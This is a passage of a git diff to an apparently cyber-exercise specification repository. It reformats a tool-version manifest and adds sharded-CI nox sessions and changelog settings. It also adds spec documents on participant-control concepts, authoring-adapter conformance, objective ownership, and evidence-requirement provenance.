".github/workflows/release-please.yml", + "template": "version: \"{selector}\"" + }, + { + "path": ".github/workflows/python-free-threaded-preview.yml", + "template": "version: \"{selector}\"" + } ] }, { "binding_id": "conftest-tool-version", "artifact_id": "conftest", "authority_field": "version", - "consumers": [{"path": "tools/tool_versions.py", "template": "CONTFEST_VERSION = \"{selector}\""}] + "consumers": [ + { + "path": "tools/tool_versions.py", + "template": "CONTFEST_VERSION = \"{selector}\"" + } + ] }, { "binding_id": "gitleaks-tool-version", "artifact_id": "gitleaks", "authority_field": "version", - "consumers": [{"path": "tools/tool_versions.py", "template": "GITLEAKS_VERSION = \"{selector}\""}] + "consumers": [ + { + "path": "tools/tool_versions.py", + "template": "GITLEAKS_VERSION = \"{selector}\"" + } + ] }, { "binding_id": "devcontainer-base-image-version", @@ -82,123 +152,100 @@ "binding_id": "isabelle-tool-version", "artifact_id": "isabelle", "authority_field": "version", - "consumers": [{"path": "tools/tool_versions.py", "template": "ISABELLE_VERSION = \"{selector}\""}] + "consumers": [ + { + "path": "tools/tool_versions.py", + "template": "ISABELLE_VERSION = \"{selector}\"" + } + ] }, { "binding_id": "osv-scanner-tool-version", "artifact_id": "osv-scanner", "authority_field": "version", - "consumers": [{"path": "tools/tool_versions.py", "template": "OSV_SCANNER_VERSION = \"{selector}\""}] + "consumers": [ + { + "path": "tools/tool_versions.py", + "template": "OSV_SCANNER_VERSION = \"{selector}\"" + } + ] }, { "binding_id": "vale-tool-version", "artifact_id": "vale", "authority_field": "version", - "consumers": [{"path": "tools/tool_versions.py", "template": "VALE_VERSION = \"{selector}\""}] + "consumers": [ + { + "path": "tools/tool_versions.py", + "template": "VALE_VERSION = \"{selector}\"" + } + ] }, { "binding_id": "attack-source-version", "artifact_id": "attack-enterprise-tactics-snapshot", "authority_field": "version", - "consumers": [{"path": "tools/check_attack_tactic_vocabulary.py", "template": "SOURCE_VERSION = \"{selector}\""}] + "consumers": [ + { + "path": "tools/check_attack_tactic_vocabulary.py", + "template": "SOURCE_VERSION = \"{selector}\"" + } + ] }, { "binding_id": "atlas-source-version", "artifact_id": "atlas-tactics-snapshot", "authority_field": "version", - "consumers": [{"path": "tools/check_atlas_tactic_vocabulary.py", "template": "SOURCE_VERSION = \"{selector}\""}] + "consumers": [ + { + "path": "tools/check_atlas_tactic_vocabulary.py", + "template": "SOURCE_VERSION = \"{selector}\"" + } + ] }, { "binding_id": "nist-source-version", "artifact_id": "nist-csf-defensive-categories-snapshot", "authority_field": "version", - "consumers": [{"path": "tools/check_nist_csf_defensive_vocabulary.py", "template": "SOURCE_VERSION = \"{selector}\""}] + "consumers": [ + { + "path": "tools/check_nist_csf_defensive_vocabulary.py", + "template": "SOURCE_VERSION = \"{selector}\"" + } + ] }, { "binding_id": "activitystreams-source-version", "artifact_id": "w3c-activitystreams-activity-types-snapshot", "authority_field": "version", - "consumers": [{"path": "tools/check_autonomous_behavior_vocabularies.py", "template": "ACTIVITYSTREAMS_VERSION = \"{selector}\""}] + "consumers": [ + { + "path": "tools/check_autonomous_behavior_vocabularies.py", + "template": "ACTIVITYSTREAMS_VERSION = \"{selector}\"" + } + ] }, { "binding_id": "fipa-source-version", "artifact_id": "fipa-communicative-acts-snapshot", "authority_field": "version", - "consumers": [{"path": "tools/check_autonomous_behavior_vocabularies.py", "template": "FIPA_VERSION = \"{selector}\""}] + "consumers": [ + { + "path": "tools/check_autonomous_behavior_vocabularies.py", + "template": "FIPA_VERSION = \"{selector}\"" + } + ] }, { "binding_id": "cirros-guest-disk-version", "artifact_id": "cirros-guest-disk", "authority_field": "version", - "consumers": [{"path": "tools/tool_versions.py", "template": "CIRROS_GUEST_DISK_VERSION = \"{selector}\""}] - } - ], - "runtime_selections": [ - { - "artifact_id": "conftest", - "consumers": ["tools/policy/conftest_tool.py"] - }, - { - "artifact_id": "gitleaks", - "consumers": ["tools/gitleaks_tool.py"] - }, - { - "artifact_id": "vale", - "consumers": ["tools/vale_tool.py"] - }, - { - "artifact_id": "osv-scanner", - "consumers": ["tools/osv_scanner_tool.py"] - }, - { - "artifact_id": "isabelle", - "consumers": ["tools/isabelle_tool.py", "tools/check_participant_opacity_proof.py"] - }, - { - "artifact_id": "attack-enterprise-tactics-snapshot", - "consumers": ["tools/check_attack_tactic_vocabulary.py"] - }, - { - "artifact_id": "atlas-tactics-snapshot", - "consumers": ["tools/check_atlas_tactic_vocabulary.py"] - }, - { - "artifact_id": "nist-csf-defensive-categories-snapshot", - "consumers": ["tools/check_nist_csf_defensive_vocabulary.py"] - }, - { - "artifact_id": "w3c-activitystreams-activity-types-snapshot", - "consumers": ["tools/check_autonomous_behavior_vocabularies.py"] - }, - { - "artifact_id": "fipa-communicative-acts-snapshot", - "consumers": ["tools/check_autonomous_behavior_vocabularies.py"] - }, - { - "artifact_id": "devcontainer-base-image", "consumers": [ - "tools/devcontainer_image.py" + { + "path": "tools/tool_versions.py", + "template": "CIRROS_GUEST_DISK_VERSION = \"{selector}\"" + } ] - }, - { - "artifact_id": "scorecard-action-image", - "consumers": ["implementations/tooling/actions-policy.json"] - }, - { - "artifact_id": "sonar-scanner-cli", - "consumers": ["implementations/tooling/actions-policy.json"] - }, - { - "artifact_id": "cirros-guest-disk", - "consumers": ["tools/real-daemon/live_runner_inputs.py"] - } - ], - "tracked_literals": [ - { - "selector_id": "alpine-oci-index-digest", - "authority_path": "implementations/python/tests/test_reference_backend_docker_integration.py", - "authority_template": "docker.io/library/alpine@sha256:{selector}\"", - "consumer_prefix": "docker.io/library/alpine@sha256:" } ] } diff --git a/noxfile.py b/noxfile.py index f54bb984c..f85a48788 100644 --- a/noxfile.py +++ b/noxfile.py @@ -16,7 +16,7 @@ nox.options.default_venv_backend = "none" nox.options.reuse_existing_virtualenvs = True -nox.options.sessions = ["verify"] +nox.options.sessions = ["verify-fast-feedback"] REPO_ROOT = Path(__file__).resolve().parent import sys @@ -27,7 +27,12 @@ from tools.nox_support.compatibility_lanes import _run_python_compatibility from tools.nox_support.config import ( CONTRACT_TRIGGER_PREFIXES, + COVERAGE_REDUCE_DIR_ENV, FULL_TEST_TRIGGER_PREFIXES, + SHARD_COUNT_ENV, + SHARD_INDEX_ENV, + SHARD_MANIFEST_ENV, + SHARD_SOURCE_SHA_ENV, TARGETED_POLICY_TESTS, TOOLING_TEST_TRIGGER_PREFIXES, VERIFY_COVERAGE_FILE_ENV, @@ -42,6 +47,7 @@ ) from tools.nox_support.graph import ( _run_changed_verification, + _run_fast_feedback, _run_parallel_verification, ) from tools.nox_support.runner import ( @@ -53,12 +59,14 @@ ) from tools.nox_support.test_lanes import ( _run_installation_qualification, + _run_coverage_reduce, _run_docker_integration_tests, _run_docs, _run_docs_linkcheck, _run_fuzz, _run_integration_tests, _run_osv_scan, + _run_shard_tests, _run_tests, ) @@ -275,7 +283,7 @@ def hook_pre_commit(session: nox.Session) -> None: elif _paths_trigger(changed, FULL_TEST_TRIGGER_PREFIXES): reporter.skip( "tests / pytest", - "no directly changed test module; full regression runs at pre-push and completion", + "no directly changed test module; select relevant tests explicitly; full regression runs in CI/CD", ) elif _paths_trigger(changed, TOOLING_TEST_TRIGGER_PREFIXES): reporter.run( @@ -301,9 +309,21 @@ def hook_pre_push(session: nox.Session) -> None: reporter.summary() +@nox.session(name="verify-fast-feedback") +def verify_fast_feedback(session: nox.Session) -> None: + """Advisory early-feedback lane (#935): static/lint/policy plus directly + changed pytest modules. Never the merge gate; the full-suite shards are.""" + + reporter = SessionReporter(session, "verify-fast-feedback") + try: + _run_fast_feedback(session, reporter, list(session.posargs)) + finally: + reporter.summary() + + @nox.session(name="verify-changed") def verify_changed(session: nox.Session) -> None: - """Run the fail-closed local gate selected from changes since the upstream ref.""" + """Run targeted local feedback from the branch diff; never fall back to the full suite.""" reporter = SessionReporter(session, "verify-changed") try: @@ -319,6 +339,21 @@ def _required_coverage_file() -> Path: return Path(value) +def _required_env(name: str) -> str: + value = os.environ.get(name) + if not value: + raise RuntimeError(f"{name} is required for this shard-orchestrated session") + return value + + +def _required_env_int(name: str) -> int: + value = _required_env(name) + try: + return int(value) + except ValueError as exc: + raise RuntimeError(f"{name} must be an integer, got {value!r}") from exc + + @nox.session(name="verify-static-lane") def verify_static_lane(session: nox.Session) -> None: """Internal lane for full-tree hygiene, policy, and lint checks.""" @@ -375,8 +410,54 @@ def verify_integration_lane(session: nox.Session) -> None: reporter.summary() +@nox.session(name="verify-shard") +def verify_shard(session: nox.Session) -> None: + """Run one deterministic CI shard of the default-marker suite (#935). + + Requires RAES_SHARD_COUNT, RAES_SHARD_INDEX, RAES_VERIFY_COVERAGE_FILE, and + RAES_SHARD_MANIFEST. Reproduce a failed CI shard locally by exporting the same + four values the failing job logged and re-running this session. + """ + + reporter = SessionReporter(session, "verify-shard") + try: + _run_shard_tests( + session, + reporter, + _required_coverage_file(), + shard_count=_required_env_int(SHARD_COUNT_ENV), + shard_index=_required_env_int(SHARD_INDEX_ENV), + manifest_path=Path(_required_env(SHARD_MANIFEST_ENV)), + source_sha=os.environ.get(SHARD_SOURCE_SHA_ENV, ""), + ) + finally: + reporter.summary() + + +@nox.session(name="verify-coverage-reduce") +def verify_coverage_reduce(session: nox.Session) -> None: + """Prove shard completeness and combine shard + integration coverage (#935). + + Requires RAES_COVERAGE_REDUCE_DIR (holding every producer's ``.coverage.*`` + data file and ``shard-*.json`` manifest) and RAES_SHARD_COUNT. + """ + + reporter = SessionReporter(session, "verify-coverage-reduce") + try: + _run_coverage_reduce( + session, + reporter, + Path(_required_env(COVERAGE_REDUCE_DIR_ENV)), + shard_count=_required_env_int(SHARD_COUNT_ENV), + source_sha=os.environ.get(SHARD_SOURCE_SHA_ENV, ""), + ) + finally: + reporter.summary() + + @nox.session def verify(session: nox.Session) -> None: + """Full verification graph for CI/CD; local work uses targeted feedback.""" reporter = SessionReporter(session, "verify") try: _run_parallel_verification(session, reporter, include_policy=True) @@ -386,10 +467,10 @@ def verify(session: nox.Session) -> None: @nox.session(name="verify-completion") def verify_completion(session: nox.Session) -> None: - """Run the completion graph whose Ground Control pair runs policy next.""" + """Run targeted local completion feedback; full completion verification belongs to CI/CD.""" reporter = SessionReporter(session, "verify-completion") try: - _run_parallel_verification(session, reporter, include_policy=False) + _run_fast_feedback(session, reporter, list(session.posargs)) finally: reporter.summary() diff --git a/release-please-config.json b/release-please-config.json index ff0816749..3bd9b0ace 100644 --- a/release-please-config.json +++ b/release-please-config.json @@ -8,6 +8,20 @@ "release-type": "python", "package-name": "raes", "changelog-path": "CHANGELOG.md", + "changelog-sections": [ + { "type": "feat", "section": "Features" }, + { "type": "fix", "section": "Bug Fixes" }, + { "type": "perf", "section": "Performance Improvements" }, + { "type": "deps", "section": "Dependencies" }, + { "type": "revert", "section": "Reverts" }, + { "type": "docs", "section": "Documentation", "hidden": true }, + { "type": "style", "section": "Styles", "hidden": true }, + { "type": "chore", "section": "Miscellaneous Chores", "hidden": true }, + { "type": "refactor", "section": "Code Refactoring", "hidden": true }, + { "type": "test", "section": "Tests", "hidden": true }, + { "type": "build", "section": "Build System", "hidden": true }, + { "type": "ci", "section": "Continuous Integration", "hidden": true } + ], "extra-files": [ { "type": "generic", diff --git a/specs/concept-authority/participant-control.md b/specs/concept-authority/participant-control.md new file mode 100644 index 000000000..50b75c1fa --- /dev/null +++ b/specs/concept-authority/participant-control.md @@ -0,0 +1,42 @@ +# Participant-control concept placement + +Placement revision: `participant-control-concepts/rev1`, for +[`sem-235/rev1`](../formal/participant-semantics/modular-participant-control.md). +Authority: ADR-012, ADR-108, GOV-917–922 and SEM-235. + +The #1352 [applicability/evaluation amendment](../formal/participant-semantics/control-applicability-and-evaluation.md) +uses these same concept families. The complete apparatus remains an +`apparatus-declarations` binding; exact-cut coverage, predecessor results and +decisions are `provenance-and-evidence`; required/effective support belongs to +`realization-and-disclosure`. Parent decisions and separately admitted effect +occurrences keep distinct identities. No new family or wire vocabulary is +introduced, and revision-1 concept placement keeps its historical scope. + +The canonical [concept-family catalog](../../contracts/concept-authority/concept-families-v1.json) +continues to own family identities. This publication maps semantic terms to +existing families and owners; it creates no catalog family, reference model, +controlled wire vocabulary or new manifest binding scope. + +| Concept | Placement and exact meaning | +| --- | --- | +| Profile/mechanism selection and implementation identity | `apparatus-declarations`: exact selected/effective bindings, capability and limitations under MPC-01/13. | +| IFC carrier, order, join and policy relation | Formal relation definitions under MPC-04/05. Claims about their satisfaction use `behavioral-relations`; the labels are not themselves noninterference claims or cyber-domain objects. | +| Participant identity and affected cyber objects | Existing `identities`, `assets`, `tools-and-artifacts` and their narrower bindings; a control mechanism does not redefine them. | +| Inject, transformed proposal, handoff and lifecycle occurrence | `actions-and-events` for occurrences; DSL-111/142, API-409/423 and RUN-310 retain their typed meanings. | +| Participant episode and memory scope | `episodes` for identity/lifecycle, SEM-230 for memory and prior delivered knowledge. Reset does not remove provenance or causal budgets. | +| Experimental treatment influence | `tasks-runs-studies` for experimental intent and `provenance-and-evidence` for recorded influence/derivation. The teaching domain is a native RAES semantic construction, not an extension to UCO or SEM-233. | +| Resolution, conflict, admission and realization evidence | `provenance-and-evidence` for records; `realization-and-disclosure` for effective support/loss. A record does not make its subject a claim of successful execution. | +| Noninterference or behavioral comparison | `behavioral-relations`, retaining the existing `policy-noninterference` catalog relation and exact SEM-230/233 quantifiers. Modular composition supplies no new equivalence relation. | + +Participant-control profiles are distinct from +[shared semantic interoperability profiles](semantic-profiles.md), +[SDL extension-profile selections](../sdl/profile-selections.md), and SEM-234 +backend allocation profiles. Reuse their revision discipline, without treating +their identifiers as interchangeable or as executable code selection. + +API-424 publishes any required portable fields and their governed scopes. +Until then, a semantic term does not authorize an empty scope or placeholder +wire schema. New domains require their own published algebra, closed carrier, +source/sink rules, memory/release relations, fixtures and contract support. +An arbitrary label map, advisory score or provider callback cannot extend +semantic authority. diff --git a/specs/conformance/authoring-adapters.md b/specs/conformance/authoring-adapters.md new file mode 100644 index 000000000..8aa7b4392 --- /dev/null +++ b/specs/conformance/authoring-adapters.md @@ -0,0 +1,112 @@ +# Authoring-adapter conformance v1 + +ASR-516 defines finite consistency evidence across authoring paths. A path can +be a CLI, agent, MCP tool, graphical editor, documentation workflow, or another +consumer. Path identifiers describe observations; they confer no authority. + +## Published contract + +The `authoring-adapter-vector/v1` descriptor binds a synthetic UTF-8 SDL source +by SHA-256, a closed operation by RFC 8785 SHA-256, a profile by RFC 8785 SHA-256, +and an expected observation. All defaults are materialized before hashing +contract models. Raw source hashes include every byte. The vector digest binds +the entire admitted descriptor, including its fixed expected observation. +A vector may also carry a fixed `contrast`: an alternative output source with +expected canonical-artifact and semantic dispositions. Consumers submit it as +the second path's output to verify that a meaningful difference is detected. +Contrasts have the same byte ceiling as ordinary outputs. + +The `raes-authoring-adapter-conformance/v1` profile selects strict `sdl-yaml/v1`, +rejecting migration, normalized authoring artifacts, `raes-sdl-semantic/v2`, +and the exact digest of the existing semantic comparison profile. Operations +are `validate-sdl/v1` and `rename-sdl-declaration/v1`; the latter binds exactly +one canonical target and new local name. Rename uses the existing default +loss policy. Validation produces no transformation report. + +The published JSON Schemas under `contracts/schemas/authoring-adapters/` define +closed shapes. Admission also checks source, operation and profile digests; +outcome/artifact consistency; sorted unique report reasons; and the existence +of semantic companion evidence for two successful observations. Schema +acceptance alone cannot establish these contextual facts. + +## Submission and evidence + +A consumer supplies each path's exact input source, output source or refusal, +incumbent structured diagnostic carriers, and any existing +`artifact-transformation-report/v1`. The reference API recomputes identity by +parsing output through the production structural and semantic gates. It never +accepts a claimed artifact digest or a private validation flag as evidence. + +A successful observation records both the owning SDL canonical digest and the +existing semantic comparator's artifact coordinate. These are distinct +profile-labelled projections and must not be interchanged. A refusal has no +artifact and requires structured diagnostics. A transformation report must +bind the input source, output digest, owning profiles and outcome. Its full +canonical report digest remains independently compared with the fixture oracle. +Two identical incorrect results do not conform merely because they agree. + +Selecting rename does not prove that transformation ran. A structured source +admission refusal has no artifact or transformation report. The runner must +recheck that the input fails strict admission before accepting this absence. +After source admission, both successful rename and transformation-level +refusal require the owning transformation report. + +The diagnostic evidence digest is RFC 8785 SHA-256 over an object containing +`profile: authoring-diagnostic-semantics/v1` and `keys`: the sorted multiset of +four-string arrays. For `DiagnosticModel`, each array is +`[domain, code, severity, address]`; for `SDLParseDiagnostic`, it is +`[stage, code, severity, pointer]`. Multiplicity matters. Human message text, +source identities, and source ranges are excluded from this profile's equality +claim. Messages remain bounded to 512 UTF-8 bytes. Original diagnostic carriers +remain with the consumer for review; the portable report contains only their +semantic evidence digest. This projection does not define a new diagnostic DTO. + +The v1 profile cannot certify unstructured semantic-error/advisory prose. Such +input or output requires a richer governed diagnostic profile; the runner must +fail closed. Inputs are self-contained: module imports, expanded artifacts and +materialized artifacts are outside this profile. No resource locator is fetched. + +## Independent dispositions + +`authoring-adapter-comparison/v1` reports canonical artifact, diagnostics, +transformation provenance and semantic relations independently as `equivalent`, +`different`, `incomparable`, or `not-applicable`. Missing or invalid observations +make every axis incomparable. Success versus refusal is an explicit outcome +difference. Two refusals have no artifact or semantic comparison; absent +transformation reports are not applicable. A changed provenance digest remains +a visible difference even when artifact semantics agree. + +For two successful outputs, the existing semantic comparator receives the +admitted artifacts and their exact two-sided impact scope. Its complete +`semantic-comparison-result/v1` is companion evidence, bound by the comparison +report's digest. Unknown semantic relations, incomplete dependency context or +exhausted limits are incomparable. `representation-evidence-missing` alone does +not make the semantic axis unknown: v1 makes no exact-text assertion. The +companion result retains that reason and its original completeness unchanged. + +A finite case conforms only when both observations match the checked-in oracle +and every axis is equivalent or not applicable. No universal, behavioral, +runtime, evidence, pack, or task-completion equivalence follows. The API records +successful production admission only; it issues no stronger validation-basis +disclosure or authenticated adapter attestation. + +## Bounds and determinism + +Vectors use at most 128 KiB of JSON; profiles use at most 16 KiB. Source and +output each use at most 64 KiB. A case carries at most 64 diagnostics and a +transformation report of at most 64 KiB. A corpus has 1–32 vectors, in case-id +order. JSON ingress rejects duplicate members and non-finite numbers. Corpus +files must resolve beneath the selected corpus directory. + +The fixed SDL parser ceilings are 65536 input/scalar bytes, depth 32, 4096 +nodes, 32 aliases, 8192 expanded/composed nodes, 65536 composed bytes, and +import/composition/namespace ceilings of 1. Imports remain inadmissible in this +profile. Limits and defaults are part of this versioned operation, not ambient +configuration. Comparisons have no clock, random, environment, network, +subprocess, persistence or logging inputs. Reports never copy source bodies or +exception text. + +Normative vectors live in `contracts/fixtures/authoring-adapters-v1/cases` and +ship with the contract corpus. Expected observations are fixed publication +artifacts, not recomputed test oracles. Hub owns cross-product acceptance; +env-packs owns pack behavior; conformant backends own runtime outcomes. diff --git a/specs/evolution/deprecation-records.yaml b/specs/evolution/deprecation-records.yaml index fef78e165..d8242a983 100644 --- a/specs/evolution/deprecation-records.yaml +++ b/specs/evolution/deprecation-records.yaml @@ -35,6 +35,17 @@ adr_refs: spec: specs/evolution/versioning-deprecation-and-migration.md records: + - id: sdl-participant-identity-relations + surface_class: sdl-scenario-module + identifier: "Agent.entity; Objective.agent and Objective.entity; objectives.agent/entity variation slots" + status: removed + first_notice: "Issue #1338 and proposed ADR-109 participant identity/assignment contract" + replacement: "Optional affiliations and role; objective owner and assigned_participant; matching variation slots" + migration_reference: "docs/migration/participant-identity.md; specs/sdl/participant-identity.md" + notice_window: "Removal eligibility is explicit deterministic migration with source-digest-bound organizational decisions, atomic refusal tests, and canonical schema/compiler exclusion. The explicit pre-1338 source reader remains supported indefinitely until a separately reviewed notice establishes its removal window." + verification_evidence: "test_issue_1338_identity_migration.py and test_issue_1338_participant_identity.py cover explicit decisions, stale-context refusal, preservation, closed canonical shape, and separate compiler projections." + removal_record: "Issue #1338 satisfies the named contract-and-migrator eligibility rule. SDL fields are removed, not schema artifacts; affected draft schema lineages retain updated last_change records." + - id: sdl-domain-classification-fields surface_class: sdl-scenario-module identifier: "vulnerabilities declarations and node/feature/entity associations; application-route vulnerability_refs; offensive_behavior_refs, ai_offensive_behavior_refs and defensive_behavior_refs; action external_mappings; entity categories" diff --git a/specs/formal/assurance-fulfillment.yaml b/specs/formal/assurance-fulfillment.yaml index 556a1886a..3a4faf2fc 100644 --- a/specs/formal/assurance-fulfillment.yaml +++ b/specs/formal/assurance-fulfillment.yaml @@ -365,6 +365,22 @@ entries: # runtime-wide typed contract coverage remains incomplete for the broader # participant surface. ASR-535 makes no model-check or proof claim. delivered_artifacts: + - kind: invariant_list + path: specs/formal/participant-semantics/modular-participant-control.md + - kind: abstract_state_machine_model + path: implementations/python/tests/sem235_modular_control_model.py + - kind: unit_tests + path: implementations/python/tests/test_sem_235_modular_control.py + - kind: property_based_or_differential_tests + path: implementations/python/tests/test_sem_235_modular_control.py + - kind: invariant_list + path: specs/formal/participant-semantics/cross-backend-participant-control.md + - kind: abstract_state_machine_model + path: implementations/python/tests/sem234_mixed_composition_model.py + - kind: unit_tests + path: implementations/python/tests/test_sem_234_mixed_composition.py + - kind: property_based_or_differential_tests + path: implementations/python/tests/test_sem_234_mixed_composition.py - kind: invariant_list path: specs/formal/participant-semantics/README.md - kind: unit_tests diff --git a/specs/formal/experiment-core/README.md b/specs/formal/experiment-core/README.md index dc770ccd3..8a089073c 100644 --- a/specs/formal/experiment-core/README.md +++ b/specs/formal/experiment-core/README.md @@ -162,6 +162,30 @@ mandatory observation combined with backend mutation without a compensating owner. Nonretained backend-selected descriptions are immediate manager results, not archival evidence or recoverable control-plane bodies. +Task, prospective run-plan, archival run, and study carriers may declare +`evidence_requirement_relations`. Each relation is a typed `refine` or `extend` +link from an exact task/run/study authority and immutable scenario snapshot to a +canonical `evidence_requirements.` declaration and an exact +capture-specification requirement. The relationship preserves both obligations; +it never serializes an overwritten effective requirement. Cross-artifact +validation resolves only caller-supplied scenarios and capture specifications, +and refinements fail closed unless every named dimension preserves the authored +value and at least one has a governed monotone strengthening. Extensions and +refinements therefore add independent capture demands to admission. Omitted +relations add no capture detail and leave permitted realization choices to the +backend. The authoritative trial compiler combines task and prospective +run-plan relations, validates them against the immutable expanded scenario, +and admits their capture specifications together with each selected scenario's +base demands. Trial realization repeats that relation-aware compilation from +the plan's digest-bound task, authoring input, scenario family, and capture +specifications before processor planning. Authoritative archival run validation +resolves task and run relations from the supplied evidence scenarios and +capture specifications; authoritative study validation similarly resolves its +own relations from explicit caller-supplied scenario and capture artifacts. +The current comparison profile uses relation-aware task, run, and study owner +projections so changing only an evidence obligation is a structural and +semantic change. + For EXP-706, one trial is one archival run record. Repeated runs of the same task are represented by multiple run records with distinct `run_id` values, a shared `task_ref`, and a compatible `scenario_snapshot_ref`. A repeated run @@ -174,11 +198,12 @@ summaries must identify the metric, carry a value, and link to evidence. Every result-summary evidence reference must resolve to an artifact id in the same run's `evidence_artifacts` set. Cross-artifact task/run validation also checks that run apparatus satisfies task apparatus constraints, that run result metric -ids are declared by the task evaluation protocol, and that concrete run -evidence artifacts satisfy the task and metric evidence requirements, either by -artifact id or by an artifact `satisfies_refs` entry. If a task or metric -evidence requirement carries digest or path metadata, the matching run artifact -MUST satisfy those fields with its concrete checksum and URI/path. +ids are declared by the task evaluation protocol, and that task and metric +evidence requirements resolve through capture requirements and evidence records +to emitted artifact bytes. Artifact ids and `satisfies_refs` entries alone do +not prove satisfaction. If a task or metric evidence requirement carries digest +or path metadata, the validated binding MUST satisfy those fields with its +concrete checksum and URI/path. ### Run Traceability @@ -203,6 +228,48 @@ available for review. It does not guarantee executable replay, artifact dereference, hidden backend-state reconstruction, or derived-result recomputation. +### Evidence Source And Augmentation Provenance + +EXP-732 uses the existing run as the archival join point. Preserve the authored +SDL carrier at a pinned revision as well as the instantiated scenario snapshot; +retain the capture specification and its requirement ids alongside the raw +evidence records. A reference to a mutable authoring file cannot reconstruct +historical intent. Capture-specification bindings remain explicit; unresolved +SDL capture references fail admission rather than implying a generated binding. + +The portable chain has three distinct parts: + +- Authored intent: the retained scenario source/snapshot and capture + specification state what evidence was required. A record's + `capture_spec_ref` and `capture_requirement_ref` identify that obligation. +- Realized sources: run `traceability.evidence_record_refs` identify the records + whose `source_refs`, capture window, content reference, and redaction/loss + disclosures describe capture. The admitted measurement channel must resolve + in the run apparatus and agree with a record source. A supplied + `apparatus_context_ref` must match that apparatus; omission remains valid + because the run already embeds it. +- Augmentation: run `augmentation_disclosures` retain processor/backend + identity, purpose, carriers, affected refs, visibility, and observer effects. + The declared producer must resolve to a matching apparatus component. + Operational-only augmentation remains disclosed even when its purpose and + classifications do not require supporting captured evidence. + +`validate_experiment_run_against_task()` uses content-backed evidence inputs to +check these execution and apparatus joins, together with the existing content +proof. Run/apparatus and augmentation-producer references may omit a version; +when supplied it must match. Digest/path qualifiers on those references cannot +be verified from the supplied in-memory identities and are rejected. The +separate content references retain checksums and locators for byte validation. +Consumers also run `observability_evidence_conformance_diagnostics()` for +portable affected-carrier and purpose-dependent evidence requirements. + +These checks preserve and validate the declared provenance chain; they do not +collect evidence, retain external artifacts, resolve authored SDL into capture +specifications, or attest every additional source or augmentation side effect. +Archival callers must retain the referenced immutable artifacts. Unsupported, +partial, or withheld capture stays disclosed without claiming satisfaction. +The validator never dereferences locators or reads host paths. + ### Realized Form Disclosure Realized-form disclosure is the EXP-722 record of concrete forms chosen for @@ -340,7 +407,8 @@ produce. It binds: - a run plan: optional stochastic controls, an episode control (turn order, logical step count, termination), either a condition `allocation` plan or a scalar `target_run_count`, a closed keyed selection-policy registry, - red-variant selections keyed by variant id, and an optional clock intent; + red-variant selections keyed by variant id, optional run-scoped evidence + requirement relations, and an optional clock intent; - study factors keyed by factor id; - capture-specification references, validity notes, and supporting artifacts. diff --git a/specs/formal/objectives/declarative-objective-semantics.md b/specs/formal/objectives/declarative-objective-semantics.md index 9546e89e2..acbc82c06 100644 --- a/specs/formal/objectives/declarative-objective-semantics.md +++ b/specs/formal/objectives/declarative-objective-semantics.md @@ -6,7 +6,7 @@ This note defines the shared semantic boundary for `SEM-207`. Objective semantics are declarative SDL meaning. They answer: -- which declared actor owns the objective +- which organization owns the objective and which participant is assigned to pursue it - which declared scenario elements the objective names as targets - which invariant and postcondition assertions define success - which window bounds when the objective matters @@ -39,13 +39,14 @@ The implementation must build on these existing authorities: ## Required Semantics -Actor binding: +Ownership and assignment ([participant contract](../../sdl/participant-identity.md)): -- an objective has exactly one actor binding: `agent` or `entity` -- `agent` resolves only to the SDL `agents` section -- `entity` resolves only to flattened SDL entities -- an actor binding is not a participant implementation binding -- agent action checks reuse the declaring agent's `actions` list +- an objective has `owner`, `assigned_participant`, or both +- `assigned_participant` resolves only to the SDL `agents` section +- `owner` resolves only to flattened SDL entities +- ownership is not assignment, beneficiary identity, or realized actor attribution +- every action resolves to a declared action contract, including when unassigned +- assigned objectives additionally constrain actions to the participant's `actions` Target resolution: @@ -88,7 +89,7 @@ Dependency roles (which references propagate through the planner): - success and `depends_on` references carry both ordering and refresh roles - window references carry only refresh -- actor and target references are normalized for fail-closed validation but +- owner, assignment, action-constraint, and target references are normalized for fail-closed validation but carry no runtime dependency role today: the compiler does not propagate ordering or refresh through actor or target identity, so the analyzer must not advertise a role that the planner will never see. A future change that @@ -170,7 +171,7 @@ Avoid: `OBJECTIVE_*_DEPENDENCY_ROLES`) - objective-window analysis (reused, not re-implemented): `implementations/python/packages/raes/semantics/objectives.py` -- authoring models (closed Pydantic shape; `agent` xor `entity`; non-empty +- authoring models (closed shape; owner and/or assignment; non-empty `success`): `implementations/python/packages/raes/objectives.py` - semantic validation: `implementations/python/packages/raes/validator/` (`_verify_objectives`, diff --git a/specs/formal/observability-evidence-plane.md b/specs/formal/observability-evidence-plane.md index 399f1b5a6..866582c4b 100644 --- a/specs/formal/observability-evidence-plane.md +++ b/specs/formal/observability-evidence-plane.md @@ -250,7 +250,7 @@ augmentation and realized-form behavior. | RUN-316 operational apparatus observability has a portable run carrier | `BACKEND_SUPPORTED_CONTRACT_IDS`, `OBSERVATION_CAPABILITY_REQUIRED_CONTRACTS`, reference/stub observation manifests | `test_backend_manifest_v2_declares_observation_capability_dimensions`, `test_fixture_suite_exercises_experiment_run_observability_semantics` | yes | | API-419 augmentation reports name affected carriers | `_augmentation_conformance_diagnostics()` requires `affected_refs` and portable `carrier_refs` | `test_observability_evidence_conformance_requires_affected_refs`; fixture `augmentation-without-affected-refs.json` | yes | | ASR-525 conformance validates experiment-run semantics | `_MODEL_VALIDATORS["experiment-run-v1"]`, `_semantic_diagnostics()` | `test_fixture_suite_exercises_experiment_run_observability_semantics` | yes | -| EXP-731 run-scoped capture refinements preserve authored requirements | `_run_refinement_conformance_diagnostics()` requires `authored_ref` for capture-window and measurement-channel disclosures | `test_observability_evidence_conformance_requires_authored_ref_for_run_refinement` | yes | +| EXP-731 partial realized-form regression guard | `_run_refinement_conformance_diagnostics()` requires `authored_ref` for capture-window and measurement-channel disclosures but does not establish prospective refinement lineage | `test_observability_evidence_conformance_requires_authored_ref_for_run_refinement` | yes | | EXP-732 augmentation and refinements remain evidence-traced | experiment run model traced evidence refs plus conformance evidence-ref checks | `test_observability_evidence_conformance_accepts_traced_augmentation`, `test_observability_evidence_conformance_requires_authored_ref_for_run_refinement` | yes | ## Conformance Corpus (#340 / ASR-525) @@ -278,6 +278,43 @@ requirements; its reference evidence is not a default for all executions. This corpus checks declared artifacts, not undisclosed live instrumentation or actual capture, task satisfaction, or participant visibility projection. +## Implementation Coverage (#341 / Evidence Requirement Refinement) + +`ExperimentEvidenceRequirementRelationModel` supplies the missing prospective +lineage for EXP-731. The existing task, run-plan, archival run, and study +carriers reuse the same closed relation shape. Each relation identifies an exact +scope authority, immutable scenario snapshot, canonical authored declaration, +and materialized capture-specification requirement. `refine` relations name only +dimensions with a governed monotone comparator; unknown or non-monotone changes +fail closed. `extend` relations keep the added obligation 